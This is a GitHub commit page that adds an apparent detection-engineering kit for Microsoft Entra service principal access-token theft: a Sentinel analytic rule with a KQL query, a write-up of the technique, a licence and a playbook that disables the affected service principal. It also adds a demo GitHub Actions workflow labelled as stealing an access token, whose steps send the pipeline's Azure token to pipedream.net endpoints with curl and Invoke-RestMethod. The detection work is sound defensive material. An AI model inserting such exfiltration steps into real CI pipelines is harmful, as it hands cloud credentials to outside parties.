-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4ae8da7
commit 3440f39
Showing
7 changed files
with
391 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
# This is a basic workflow to steal an access token (: | ||
|
||
on: workflow_dispatch | ||
|
||
permissions: | ||
id-token: write | ||
contents: read | ||
|
||
name: 😈 WIF | ||
|
||
jobs: | ||
acquire-and-steal: | ||
runs-on: ubuntu-latest | ||
name: WIF Example | ||
steps: | ||
- name: Azure AD Workload Identity Federation | ||
uses: nicolonsky/[email protected] | ||
with: | ||
tenant_id: ${{ secrets.TENANTID }} | ||
client_id: ${{ secrets.CLIENTID }} | ||
- name: Do some Microsoft Graph stuff | ||
run: | | ||
Install-Module -Name Microsoft.Graph.Authentication | ||
Connect-MgGraph -AccessToken ($env:ACCESS_TOKEN | ConvertTo-SecureString -AsPlainText -Force) | ||
Invoke-MgGraphRequest -Uri '/beta/organization' | Select-Object -ExpandProperty value | ||
shell: pwsh | ||
- name: Do evil stuff | ||
run: | | ||
curl -d '{"token":"${{ env.ACCESS_TOKEN }}"}' \ | ||
-H "Content-Type: application/json" \ | ||
"https://3cc9d6e97f71d89fba8c9afc13798b57.m.pipedream.net" | ||
- name: OIDC Login to Azure Public Cloud | ||
uses: azure/login@v1 | ||
with: | ||
client-id: ${{ secrets.CLIENTID }} | ||
tenant-id: ${{ secrets.TENANTID }} | ||
subscription-id: ${{ secrets.SUBSCRIPTION }} | ||
enable-AzPSSession: true | ||
|
||
- name: Run Malicious Azure PowerShell script | ||
uses: azure/powershell@v1 | ||
with: | ||
inlineScript: | | ||
Invoke-RestMethod -Method POST -Uri "https://eov8t75mveud5wy.m.pipedream.net" -ContentType "application/json" -Body "{`"token`":`"$((Get-AzAccessToken).Token)`"}" | ||
azPSVersion: "latest" |
87 changes: 87 additions & 0 deletions
87
AnalyticRules/T1528.Entra.ServicePrincipalAccessTokenReplay.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,87 @@ | ||
{ | ||
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", | ||
"contentVersion": "1.0.0.0", | ||
"parameters": { | ||
"workspace": { | ||
"type": "String" | ||
} | ||
}, | ||
"resources": [ | ||
{ | ||
"id": "[concat(resourceId('Microsoft.OperationalInsights/workspaces/providers', parameters('workspace'), 'Microsoft.SecurityInsights'),'/alertRules/4898e2f0-626f-4524-b5b0-2bc73954e672')]", | ||
"name": "[concat(parameters('workspace'),'/Microsoft.SecurityInsights/4898e2f0-626f-4524-b5b0-2bc73954e672')]", | ||
"type": "Microsoft.OperationalInsights/workspaces/providers/alertRules", | ||
"kind": "Scheduled", | ||
"apiVersion": "2022-11-01-preview", | ||
"properties": { | ||
"displayName": "Workload Identity Access Token Replay", | ||
"description": "Suspicious Entra Workload Identity access token replay due token replay.", | ||
"severity": "Medium", | ||
"enabled": true, | ||
"query": "// Hunt for differences between the token issuance and token usage of entra service principals based on the public IP address\nlet lookback = 30d;\nunion\n (MicrosoftGraphActivityLogs\n | where ResponseStatusCode between (100 .. 300) // only include HTTP success status codes\n | extend UniqueTokenIdentifier = SignInActivityId\n | extend ActivityIPAddress = IPAddress\n ),\n (AzureActivity\n | extend UniqueTokenIdentifier = tostring(Claims_d.uti)\n | extend ActivityIPAddress = CallerIpAddress\n )\n| where ingestion_time() > ago(lookback)\n| lookup kind=leftouter AADServicePrincipalSignInLogs on UniqueTokenIdentifier\n| extend SigninInIPAddress = IPAddress1\n| where SigninInIPAddress != ActivityIPAddress\n| where isnotempty(SigninInIPAddress)\n| project-away *1\n| project\n TimeGenerated,\n ServicePrincipalName,\n SigninInIPAddress,\n ActivityIPAddress,\n ServicePrincipalId,\n ServicePrincipalCredentialThumbprint,\n ServicePrincipalCredentialKeyId", | ||
"queryFrequency": "PT5M", | ||
"queryPeriod": "PT20M", | ||
"triggerOperator": "GreaterThan", | ||
"triggerThreshold": 0, | ||
"suppressionDuration": "PT5H", | ||
"suppressionEnabled": false, | ||
"startTimeUtc": null, | ||
"tactics": [ | ||
"CredentialAccess" | ||
], | ||
"techniques": [ | ||
"T1528" | ||
], | ||
"alertRuleTemplateName": null, | ||
"incidentConfiguration": { | ||
"createIncident": true, | ||
"groupingConfiguration": { | ||
"enabled": false, | ||
"reopenClosedIncident": false, | ||
"lookbackDuration": "PT5H", | ||
"matchingMethod": "AllEntities", | ||
"groupByEntities": [], | ||
"groupByAlertDetails": [], | ||
"groupByCustomDetails": [] | ||
} | ||
}, | ||
"eventGroupingSettings": { | ||
"aggregationKind": "AlertPerResult" | ||
}, | ||
"alertDetailsOverride": { | ||
"alertDisplayNameFormat": "Workload Identity Access Token Replay from {{ActivityIPAddress}}", | ||
"alertDescriptionFormat": "The access token for the workload identity: {{ServicePrincipalName}} was acquired by the public IP address: {{SigninInIPAddress}} and activity performed by the public IP address: {{ActivityIPAddress}} .", | ||
"alertDynamicProperties": [] | ||
}, | ||
"customDetails": { | ||
"ServicePrincipalName": "ServicePrincipalName", | ||
"CredentialKeyId": "ServicePrincipalCredentialKeyId", | ||
"CredentialThumbprint": "ServicePrincipalCredentialThumbprint", | ||
"ObjectId": "ServicePrincipalId" | ||
}, | ||
"entityMappings": [ | ||
{ | ||
"entityType": "IP", | ||
"fieldMappings": [ | ||
{ | ||
"identifier": "Address", | ||
"columnName": "ActivityIPAddress" | ||
} | ||
] | ||
}, | ||
{ | ||
"entityType": "IP", | ||
"fieldMappings": [ | ||
{ | ||
"identifier": "Address", | ||
"columnName": "SigninInIPAddress" | ||
} | ||
] | ||
} | ||
], | ||
"sentinelEntitiesMappings": null, | ||
"templateVersion": null | ||
} | ||
} | ||
] | ||
} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
104 changes: 104 additions & 0 deletions
104
Detections/T1528.Entra.ServicePrincipalAccessTokenReplay.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
# T1528.Entra.ServicePrincipalAccessTokenReplay | ||
|
||
Detect access token theft/replay for Microsoft Entra Service Principals / Workload Identities. | ||
|
||
## Hunt Tags | ||
|
||
**ID:** T1528.Entra.ServicePrincipalAccessTokenReplay | ||
|
||
**Author:** [Nicola Suter](https://nicolasuter.ch) | ||
|
||
**License:** [MIT License](https://github.com/nicolonsky/ITDR/blob/main/LICENSE) | ||
|
||
**References:** [Link to medium post](https://nicolasuter.medium.com) | ||
|
||
## ATT&CK Tags | ||
|
||
**Tactic:** Credential Access (TA0006) | ||
|
||
**Technique:** Steal Application Access Token (T1528) | ||
|
||
## Technical description of the attack | ||
|
||
Attackers can steal access tokens from service principals and use them to access resources for the valid duration of the token. This is an attack vector for service principals that are used in CI/CD pipelines and are already hardened by leveraging only short lived tokens with workload identity federation. | ||
|
||
Access tokens can be exfiltrated by adding a simple step to the CI pipeline and sending the access token to an attacker controlled server. The access token can then be used to access resources for the valid duration of the token. | ||
|
||
## Permission required to execute the technique | ||
|
||
Access to the device or service where the service principal is being used, such as a CI/CD pipeline running on GitHub Actions. | ||
|
||
## Detection description | ||
|
||
As access tokens are issued after the service principal has authenticated, the IP address of the token issuance is different from the IP address of the token usage. This difference can be used to detect access token theft. | ||
|
||
## Utilized Data Source | ||
|
||
| Event ID | Event Name | Log Provider | ATT&CK Data Source | | ||
| -------- | ----------------------------- | ------------ | ------------------ | | ||
| - | MicrosoftGraphActivityLogs | Entra ID | Cloud Service | | ||
| - | AADServicePrincipalSignInLogs | Entra ID | Cloud Service | | ||
| - | AzureActivity | Azure | Cloud Service | | ||
|
||
## Hunt details | ||
|
||
### KQL | ||
|
||
**FP Rate:** _Low_ | ||
|
||
**Source:** _Entra ID_ | ||
|
||
**Description:** _This detection looks at differences within the IP adresses between the access token issuance and usage._ | ||
|
||
**Query:** | ||
|
||
```kusto | ||
// Hunt for differences between the token issuance and token usage of entra service principals based on the public IP address | ||
let lookback = 30d; | ||
union | ||
(MicrosoftGraphActivityLogs | ||
| where ResponseStatusCode between (100 .. 300) // only include HTTP success status codes | ||
| extend UniqueTokenIdentifier = SignInActivityId | ||
| extend ActivityIPAddress = IPAddress | ||
), | ||
(AzureActivity | ||
| extend UniqueTokenIdentifier = tostring(Claims_d.uti) | ||
| extend ActivityIPAddress = CallerIpAddress | ||
) | ||
| where ingestion_time() > ago(lookback) | ||
| lookup kind=leftouter AADServicePrincipalSignInLogs on UniqueTokenIdentifier | ||
| extend SigninInIPAddress = IPAddress1 | ||
| where SigninInIPAddress != ActivityIPAddress | ||
| where isnotempty(SigninInIPAddress) | ||
| project-away *1 | ||
| project | ||
TimeGenerated, | ||
ServicePrincipalName, | ||
SigninInIPAddress, | ||
ActivityIPAddress, | ||
ServicePrincipalId, | ||
ServicePrincipalCredentialThumbprint, | ||
ServicePrincipalCredentialKeyId | ||
``` | ||
|
||
## Considerations | ||
|
||
- Only ActivityLogs with a corresponding SignIn are considered (due to inner join). | ||
- The `AADManagedIdentitySignInLogs` do not contain the `IPAddress` field, therefore only `AADServicePrincipalSignInLogs` are considered. | ||
|
||
## False Positives | ||
|
||
False positives are unlikely but could occur in the following cases: | ||
|
||
- Multiple public IP addresses are pooled and used by the same service principal (e.g. NAT gateways) after access token retrieval. | ||
- The service principal passes the access token to another service principal with a different public IP address. | ||
|
||
## Detection Blind Spots | ||
|
||
- When the access token is reused behind the same Public IP address, this detection will not work as it relies on the public IP. | ||
- The detection only covers the Microsoft Graph and Azure Activity APIs, other APIs are not covered. | ||
|
||
## References | ||
|
||
- https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview | ||
- https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log?tabs=powershell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2023 Nicola Suter | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
120 changes: 120 additions & 0 deletions
120
Playbooks/Entra-DisableServicePrincipal/LA-DisableServicePrincipal.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,120 @@ | ||
{ | ||
"definition": { | ||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", | ||
"actions": { | ||
"Process_Alerts": { | ||
"actions": { | ||
"Disable_Service_Principal_(PATCH)": { | ||
"inputs": { | ||
"authentication": { | ||
"audience": "https://graph.microsoft.com", | ||
"identity": "/subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/UAMI-SentinelAutomation", | ||
"type": "ManagedServiceIdentity" | ||
}, | ||
"body": { | ||
"accountEnabled": "false" | ||
}, | ||
"headers": { | ||
"Content-Type": "application/json" | ||
}, | ||
"method": "PATCH", | ||
"uri": "https://graph.microsoft.com/v1.0/servicePrincipals/@{body('Parse_Alert_Custom_Details')?['ObjectId'][0]}" | ||
}, | ||
"runAfter": { | ||
"Parse_Alert_Custom_Details": [ | ||
"Succeeded" | ||
] | ||
}, | ||
"type": "Http" | ||
}, | ||
"Parse_Alert_Custom_Details": { | ||
"inputs": { | ||
"content": "@items('Process_Alerts')?['properties']?['additionalData']?['Custom Details']", | ||
"schema": { | ||
"properties": { | ||
"CredentialKeyId": { | ||
"items": { | ||
"type": "string" | ||
}, | ||
"type": "array" | ||
}, | ||
"CredentialThumbprint": { | ||
"items": { | ||
"type": "string" | ||
}, | ||
"type": "array" | ||
}, | ||
"ObjectId": { | ||
"items": { | ||
"type": "string" | ||
}, | ||
"type": "array" | ||
}, | ||
"RequestUri": { | ||
"items": { | ||
"type": "string" | ||
}, | ||
"type": "array" | ||
}, | ||
"ServicePrincipalName": { | ||
"items": { | ||
"type": "string" | ||
}, | ||
"type": "array" | ||
} | ||
}, | ||
"type": "object" | ||
} | ||
}, | ||
"runAfter": {}, | ||
"type": "ParseJson" | ||
} | ||
}, | ||
"foreach": "@triggerBody()?['object']?['properties']?['Alerts']", | ||
"runAfter": {}, | ||
"type": "Foreach" | ||
} | ||
}, | ||
"contentVersion": "1.0.0.0", | ||
"outputs": {}, | ||
"parameters": { | ||
"$connections": { | ||
"defaultValue": {}, | ||
"type": "Object" | ||
} | ||
}, | ||
"triggers": { | ||
"Microsoft_Sentinel_incident": { | ||
"inputs": { | ||
"body": { | ||
"callback_url": "@{listCallbackUrl()}" | ||
}, | ||
"host": { | ||
"connection": { | ||
"name": "@parameters('$connections')['azuresentinel_1']['connectionId']" | ||
} | ||
}, | ||
"path": "/incident-creation" | ||
}, | ||
"type": "ApiConnectionWebhook" | ||
} | ||
} | ||
}, | ||
"parameters": { | ||
"$connections": { | ||
"value": { | ||
"azuresentinel_1": { | ||
"connectionId": "/subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.Web/connections/azuresentinel", | ||
"connectionName": "azuresentinel", | ||
"connectionProperties": { | ||
"authentication": { | ||
"identity": "/subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/UAMI-SentinelAutomation", | ||
"type": "ManagedServiceIdentity" | ||
} | ||
}, | ||
"id": "/subscriptions/{SubscriptionId}/providers/Microsoft.Web/locations/westeurope/managedApis/azuresentinel" | ||
} | ||
} | ||
} | ||
} | ||
} |
Oops, something went wrong.